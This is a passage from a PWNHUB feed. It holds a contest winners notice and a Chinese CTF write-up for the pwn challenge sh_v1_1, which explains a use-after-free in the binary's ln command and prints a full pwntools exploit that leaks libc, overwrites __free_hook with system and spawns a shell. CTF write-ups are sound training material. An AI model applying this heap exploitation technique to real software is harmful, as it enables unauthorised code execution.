51, 51);border-left-color: rgb(51, 51, 51);width: 100%;border-bottom-style: initial;border-bottom-color: initial;padding: 12px 10px 0px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(51, 51, 51);line-height: 24px;text-align: center;" data-mid=""><strong><span style="text-align: start;white-space: pre-line;background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);font-size: 16px;">m0rx</span></strong></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(51, 51, 51);line-height: 24px;text-align: center;" data-mid=""><strong><span style="text-align: start;white-space: pre-line;background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);font-size: 16px;">wjh</span></strong></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(51, 51, 51);line-height: 24px;text-align: center;" data-mid=""><strong><span style="text-align: start;white-space: pre-line;background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);font-size: 16px;">ylz</span></strong></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(51, 51, 51);line-height: 24px;text-align: center;" data-mid=""><strong><span style="text-align: start;white-space: pre-line;background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);font-size: 16px;">1amfree</span></strong></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(51, 51, 51);line-height: 24px;text-align: center;" data-mid=""><strong><span style="text-align: start;white-space: pre-line;background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);font-size: 16px;">没有头猪</span></strong><span style="text-align: start;white-space: pre-line;background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);font-size: 16px;"></span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(51, 51, 51);line-height: 24px;text-align: center;" data-mid=""><span style="text-align: start;white-space: pre-line;background-color: rgb(255, 255, 255);font-size: 16px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"><br/></span></p><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;"><span style="outline: 0px;font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">祝贺以上胖友在本次内部赛中的突出表现👏</span></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;"><span style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">除了获取内部积分及相应的金币奖励外</span></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;"><span style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">还将获取RW2023手办1个<br/></span></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;"><span style="outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 0.544px;text-align: center;text-size-adjust: auto;background-color: rgb(255, 255, 255);">（请及时联系小胖哥vx领取：15711220440）</span></section></section><section data-mid="" mpa-from-tpl="t" style="background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/icF9qAmia23UUTfg2vqXqmYsK6dlFcGjLsBqZoQzOiaT4RJT1LkjGHBHfx5K6ftbwjwmLnJnD7a7fUWxgQSgVfcEw/640?wx_fmt=png&#34;) center center / 102.3% 15px no-repeat;width: 100%;height: 15px;"><br/></section><section style="width: 7px;height: 27px;align-self: flex-end;margin-right: -3px;margin-top: -40px;z-index: 2;" data-mid="" mpa-from-tpl="t"><img data-ratio="3.857142857142857" style="display: block;" data-w="14" src="https://wechat2rss.xlab.app/img-proxy/?k=cc666bf3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FBYsGGouyo91SM7N4t26riaWhIibQoBSEHsZibbrVibIN6ZwusCQzHBx2u4whxg0e7uzbWKdE1WsnnW1eicrH4icgB9ag%2F640%3Fwx_fmt%3Dpng"/></section><section style="width: 7px;height: 27px;align-self: flex-end;margin-right: -3px;margin-top: -40px;z-index: 2;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;visibility: visible;"><span style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;visibility: visible;"><br/></span></section><p style="text-align: center;line-height: normal;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">再再次感谢各位胖友的支持</span></p><p style="text-align: center;line-height: normal;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">我们下次比赛见！</span><br/></p><p><br/></p><section data-role="outer" label="Powered by 135editor.com" style="margin-bottom: 24px;outline: 0px;color: rgb(51, 51, 51);"><section data-role="outer" label="Powered by 135editor.com" style="outline: 0px;"><section data-role="paragraph" style="outline: 0px;border-width: 0px;border-style: none;border-color: initial;"><section style="outline: 0px;"><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;"><section data-tools="135编辑器" data-id="85529" style="outline: 0px;border-width: 0px;border-style: none;border-color: initial;"><section style="margin: 3px;outline: 0px;"><section data-tools="135编辑器" data-id="86131" style="outline: 0px;border-width: 0px;border-style: none;border-color: initial;"><section style="margin-top: 10px;margin-bottom: 10px;padding: 3px;outline: 0px;color: rgb(254, 254, 254);background-color: rgb(139, 162, 176);"><section data-width="100%" style="outline: 0px;display: inline-block;width: 658px;background-color: rgb(254, 254, 254);"><section style="outline: 0px;"><br style="outline: 0px;"/></section><section style="outline: 0px;"><br style="outline: 0px;"/></section><section style="outline: 0px;"><br style="outline: 0px;"/></section><section style="outline: 0px;text-align: center;"><img border="0" class="rich_pages wxw-img" data-copyright="0" data-cropselx1="0" data-cropselx2="546" data-cropsely1="0" data-cropsely2="281" data-ratio="1" width="658px" data-type="jpeg" data-w="690" data-width="100%" opacity="" style="outline: 0px;box-sizing: border-box !important;visibility: visible !important;width: 141px !important;" title="" src="https://wechat2rss.xlab.app/img-proxy/?k=c3b4459b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0beAriafBHfZ3f3uqxSRMCQ8AorfkC32gZp7yDunKDO7KgPqHRmDkaicicG3nkks7fliaicS7lCbesVyMg%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-width="100%" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;display: inline-block;width: 658px;"><section style="margin-right: 20px;margin-left: 20px;outline: 0px;border-bottom: 1px dashed rgb(102, 102, 102);border-top-color: rgb(139, 162, 176);border-right-color: rgb(139, 162, 176);border-left-color: rgb(139, 162, 176);"><br style="outline: 0px;"/></section></section><section style="margin: 10px 20px;outline: 0px;color: rgb(102, 102, 102);"><p style="outline: 0px;"><span style="outline: 0px;font-family: 微软雅黑, sans-serif;"></span></p><p style="outline: 0px;"><span style="outline: 0px;font-size: 15px;">PWNHUB（昵称：胖哈勃），遥远的1990年，哈勃望远镜拓展了人类仰望星空的界限。2016年，PWNHUB诞生，将引领那些对网络安全感兴趣的人们探索“01”世界中的无限奥秘……</span></p><p style="outline: 0px;"><span style="outline: 0px;font-size: 15px;"> </span></p><p style="outline: 0px;"><span style="outline: 0px;font-size: 15px;">PWNHUB致力打造顶尖网络安全攻防交流平台，为网络安全爱好者与研究者提供一个碰撞思维、提升技术的线上场所。PWNHUB崇尚自由探索的极客精神，以高质量的纯原创题目汇集了一大批高水平的CTF选手与战队。</span></p></section></section></section></section></section></section></section></section></section></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247501413">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e25d0658&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247501413%26idx%3D1%26sn%3D071bf67348d1ec0f0f49d3704d3af876%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 15 Mar 2023 18:20:00 +0800</pubDate>
    </item>
    <item>
      <title>【PWN专场】公开赛wp｜sh_v1_1</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247501413&amp;idx=2&amp;sn=9c0b12fc3802278a2fc23e9c801840b8</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-03-15 18:20</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=37eac8cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0YUnd2zZNoznWpqWSs6wictAqauIVeGoDO6lF5E5rTUibYPLrHK7kYYSvoItxxlUN6hMvSoLscyGNicg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.75em;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);" data-mpa-powered-by="yiban.io"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">1.题⽬名称</span></h2><p cid="n2" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-family: Optima-Regular, PingFangTC-light;">题目名称：sh_v1_1</span></p><h2 cid="n3" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.75em;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">2.题⽬考点</span></h2><ul class="list-paddingleft-1" cid="n4" mdtype="list" data-mark="-" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;width: 577.422px;white-space: normal;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><li style="font-family: Optima-Regular, PingFangTC-light;"><p cid="n6" mdtype="paragraph" style="margin-bottom: 0.5rem;line-height: inherit;orphans: 4;white-space: pre-wrap;">本题考查对程序指令逆向</p></li><li style="font-family: Optima-Regular, PingFangTC-light;"><p cid="n8" mdtype="paragraph" style="margin-bottom: 0.5rem;line-height: inherit;orphans: 4;white-space: pre-wrap;">对花指令等干扰指令排除</p></li><li style="font-family: Optima-Regular, PingFangTC-light;"><p cid="n10" mdtype="paragraph" style="margin-bottom: 0.5rem;line-height: inherit;orphans: 4;white-space: pre-wrap;">UAF</p></li></ul><h2 cid="n11" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.75em;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">3.题⽬详细解题⽅法</span></h2><p cid="n12" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-family: Optima-Regular, PingFangTC-light;">首先，程序中的花指令如下</span></p><p style="white-space: normal;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.42401960784313725" data-s="300,640" data-w="1632" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=85c0275b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0YUnd2zZNoznWpqWSs6wictA7chu4aEvdM0IppyZlqKNQsIdMrYTxoEKPb8RyqA4qJmUOBMgpDCmmg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n14" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-family: Optima-Regular, PingFangTC-light;">是可以排除干扰的</span></p><p cid="n15" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-family: Optima-Regular, PingFangTC-light;">程序主要实现了</span><code style="padding-right: 2px;padding-left: 2px;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;font-size: 0.9em;"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">ls,rm,touch,cat,gedit</span></code><span style="font-family: Optima-Regular, PingFangTC-light;">等功能</span></p><p style="white-space: normal;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5533333333333333" data-s="300,640" data-w="1500" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8b78683e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0YUnd2zZNoznWpqWSs6wictAaq6s6wFhtDcSsfrRnibeyRDDwiaPcSITRjmLgg61Zia5k34hhOFXPdA3w%2F640%3Fwx_fmt%3Dpng"/><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;background-color: rgb(255, 255, 255);orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);"></span></p><p cid="n17" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;line-height: inherit;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-family: Optima-Regular, PingFangTC-light;">漏洞点主要在ln函数，ln函数链接时，将指针保存，但是在对原始指针删除时，未删除ln链接的指针，造成指针悬挂。</span><span style="font-family: Optima-Regular, PingFangTC-light;"></span></p><p style="white-space: normal;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6553884711779449" data-s="300,640" data-w="1596" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8bb444e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0YUnd2zZNoznWpqWSs6wictASkQKecfTOj5iaFk4gOmbXwiaKZibgZFaI6YibbicYajXsWaVXias13Yh6gEA%2F640%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;text-align: left;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2814070351758794" data-s="300,640" data-w="1592" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4d70994e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0YUnd2zZNoznWpqWSs6wictAG6lpEBhyehZLhgiagpLaUO2d4TVYZLCDd93seZdOOVJH5DvZlNGFc8g%2F640%3Fwx_fmt%3Dpng"/><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);">exp:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__comment">#coding=utf-8</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> pwn <span class="code-snippet__keyword">import</span> *</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">context.log_level = <span class="code-snippet__string">&#34;debug&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># context.arch = &#34;i386&#34;</span></span></code><code><span class="code-snippet_outer">context.arch = <span class="code-snippet__string">&#34;amd64&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">menu=<span class="code-snippet__string">&#34;&#34;</span></span></code><code><span class="code-snippet_outer">sh = <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">lib = <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">elf =ELF(<span class="code-snippet__string">&#39;sh_v1_1&#39;</span>)</span></code><code><span class="code-snippet_outer">libc=ELF(<span class="code-snippet__string">&#34;/lib/x86_64-linux-gnu/libc.so.6&#34;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;&#34;&#34; &#34;&#34;&#34;</span></span></code><code><span class="code-snippet_outer">l64 = <span class="code-snippet__keyword">lambda</span>     :u64(sh.recvuntil(<span class="code-snippet__string">&#34;\x7f&#34;</span>)[<span class="code-snippet__number">-6</span>:].ljust(<span class="code-snippet__number">8</span>,<span class="code-snippet__string">&#34;\x00&#34;</span>))</span></code><code><span class="code-snippet_outer">l32 = <span class="code-snippet__keyword">lambda</span>     :u32(sh.recvuntil(<span class="code-snippet__string">&#34;\xf7&#34;</span>)[<span class="code-snippet__number">-4</span>:].ljust(<span class="code-snippet__number">4</span>,<span class="code-snippet__string">&#34;\x00&#34;</span>))</span></code><code><span class="code-snippet_outer">leak  = <span class="code-snippet__keyword">lambda</span> name,data : sh.success(name + <span class="code-snippet__string">&#34;: 0x%x&#34;</span> % data)</span></code><code><span class="code-snippet_outer">s  = <span class="code-snippet__keyword">lambda</span> payload: sh.send(payload)</span></code><code><span class="code-snippet_outer">sa  = <span class="code-snippet__keyword">lambda</span> a,b :sh.sendafter(str(a),str(b))</span></code><code><span class="code-snippet_outer">sl  = <span class="code-snippet__keyword">lambda</span> payload: sh.sendline(payload)</span></code><code><span class="code-snippet_outer">sla = <span class="code-snippet__keyword">lambda</span> a,b :sh.sendlineafter(str(a),str(b))</span></code><code><span class="code-snippet_outer">ru  = <span class="code-snippet__keyword">lambda</span> a     :sh.recvuntil(str(a))</span></code><code><span class="code-snippet_outer">r  = <span class="code-snippet__keyword">lambda</span> a     :sh.recv(str(a))</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;&#34;&#34; &#34;&#34;&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">add</span><span class="code-snippet__params">(name,content)</span>:</span></span></code><code><span class="code-snippet_outer">  sla(<span class="code-snippet__string">&#34;&gt;&gt;&gt;&gt;&#34;</span>,<span class="code-snippet__string">&#34;touch &#34;</span>+name)</span></code><code><span class="code-snippet_outer">  sl(content)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">edit</span><span class="code-snippet__params">(name,content)</span>:</span></span></code><code><span class="code-snippet_outer">  sla(<span class="code-snippet__string">&#34;&gt;&gt;&gt;&gt;&#34;</span>,<span class="code-snippet__string">&#34;gedit &#34;</span>+name)</span></code><code><span class="code-snippet_outer">  s(content)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">show</span><span class="code-snippet__params">(name)</span>:</span></span></code><code><span class="code-snippet_outer">  sla(<span class="code-snippet__string">&#34;&gt;&gt;&gt;&gt;&#34;</span>,<span class="code-snippet__string">&#34;cat &#34;</span>+name)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">delete</span><span class="code-snippet__params">(name)</span>:</span></span></code><code><span class="code-snippet_outer">  sla(<span class="code-snippet__string">&#34;&gt;&gt;&gt;&gt;&#34;</span>,<span class="code-snippet__string">&#34;rm &#34;</span>+name)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">ln</span><span class="code-snippet__params">(name,name1)</span>:</span></span></code><code><span class="code-snippet_outer">  sla(<span class="code-snippet__string">&#34;&gt;&gt;&gt;&gt;&#34;</span>,<span class="code-snippet__string">&#34;ln &#34;</span>+name+<span class="code-snippet__string">&#34; &#34;</span>+name1)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">b</span><span class="code-snippet__params">(addr)</span>:</span></span></code><code><span class="code-snippet_outer">  bk=<span class="code-snippet__string">&#34;b *$rebase(&#34;</span>+str(addr)+<span class="code-snippet__string">&#34;)&#34;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment"># bk=&#34;b *&#34;+str(addr)</span></span></code><code><span class="code-snippet_outer">  attach(sh,bk)</span></code><code><span class="code-snippet_outer">  success(<span class="code-snippet__string">&#34;attach&#34;</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">pwn</span><span class="code-snippet__params">(ip,port,debug)</span>:</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">global</span> sh</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">global</span> libc</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span>(debug == <span class="code-snippet__number">1</span>):</span></code><code><span class="code-snippet_outer">     sh = process(<span class="code-snippet__string">&#34;./sh_v1_1&#34;</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">     sh = remote(ip,port)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>):</span></code><code><span class="code-snippet_outer">     add(<span class="code-snippet__string">&#34;freedom&#34;</span>+str(i),<span class="code-snippet__string">&#34;freedom!!!&#34;</span>)</span></code><code><span class="code-snippet_outer">  ln(<span class="code-snippet__string">&#34;freedom0&#34;</span>,<span class="code-snippet__string">&#34;freedom10&#34;</span>) <span class="code-snippet__comment">#freedom0 uaf freedom10</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">1</span>,<span class="code-snippet__number">8</span>):</span></code><code><span class="code-snippet_outer">     delete(<span class="code-snippet__string">&#34;freedom&#34;</span>+str(i))</span></code><code><span class="code-snippet_outer">  delete(<span class="code-snippet__string">&#34;freedom0&#34;</span>)</span></code><code><span class="code-snippet_outer">  show(<span class="code-snippet__string">&#34;freedom10&#34;</span>)</span></code><code><span class="code-snippet_outer">  libc_base=l64()<span class="code-snippet__number">-0x10</span>-libc.sym[<span class="code-snippet__string">&#34;__malloc_hook&#34;</span>]<span class="code-snippet__number">-96</span></span></code><code><span class="code-snippet_outer">  leak(<span class="code-snippet__string">&#34;libc_base&#34;</span>,libc_base)</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>):</span></code><code><span class="code-snippet_outer">     add(<span class="code-snippet__string">&#34;freedom&#34;</span>+str(i),<span class="code-snippet__string">&#34;freedom!!!&#34;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  delete(<span class="code-snippet__string">&#34;freedom1&#34;</span>)</span></code><code><span class="code-snippet_outer">  delete(<span class="code-snippet__string">&#34;freedom7&#34;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  system=libc_base+libc.sym[<span class="code-snippet__string">&#34;system&#34;</span>]</span></code><code><span class="code-snippet_outer">  free_hook=libc_base+libc.sym[<span class="code-snippet__string">&#34;__free_hook&#34;</span>]<span class="code-snippet__number">-8</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  edit(<span class="code-snippet__string">&#34;freedom10&#34;</span>,p64(free_hook)+<span class="code-snippet__string">&#34;\n&#34;</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment"># b(0x000000000000219A)</span></span></code><code><span class="code-snippet_outer">  add(<span class="code-snippet__string">&#34;freedom1&#34;</span>,<span class="code-snippet__string">&#34;aaaa&#34;</span>)</span></code><code><span class="code-snippet_outer">  add(<span class="code-snippet__string">&#34;freedom7&#34;</span>,<span class="code-snippet__string">&#34;/bin/sh\x00&#34;</span>+p64(system))</span></code><code><span class="code-snippet_outer">  delete(<span class="code-snippet__string">&#34;freedom7&#34;</span>)</span></code><code><span class="code-snippet_outer">  sh.interactive()</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> __name__ == <span class="code-snippet__string">&#34;__main__&#34;</span>:</span></code><code><span class="code-snippet_outer">  pwn(<span class="code-snippet__string">&#34;0.0.0.0&#34;</span>,<span class="code-snippet__number">9999</span>,<span class="code-snippet__number">1</span>)</span></code></pre></section><p style="white-space: normal;text-align: left;"><br/></p><p style="display: none;"><mp-style-type 